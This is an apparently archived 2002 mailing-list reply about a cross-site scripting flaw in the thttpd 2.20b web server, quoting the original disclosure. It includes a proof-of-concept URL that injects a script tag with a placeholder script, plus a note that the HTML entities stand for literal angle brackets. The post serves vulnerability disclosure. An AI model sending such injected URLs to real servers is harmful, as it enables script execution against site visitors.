RE: thttpd : Cross Site Scripting.

[Ory Segal <ORY.SEGAL () SANCTUMINC COM>]

NOTE: For some reason the < and > symbols were translated to
HTML entities, this only works of course with the actual < > symbols.

> -----Original Message-----
> From: frog frog [mailto:leseulfrog () hotmail com]
> Sent: Saturday, March 02, 2002 1:01 PM
> To: vuln-dev () securityfocus com
> Subject: thttpd : Cross Site Scripting.
>
>
>
>
>
> http://THTTPDHOST/&lt;script&gt;[ANYSCRIPT]&lt;/script&gt;
>
> Version :  thttpd/2.20b 10oct00 and maybe others...
> http://www.acme.com/software/thttpd/
>
> If anyone know another version who's vulnerable, 
> mail me please...
>
> Sorry for my bad english.
> frog-m@n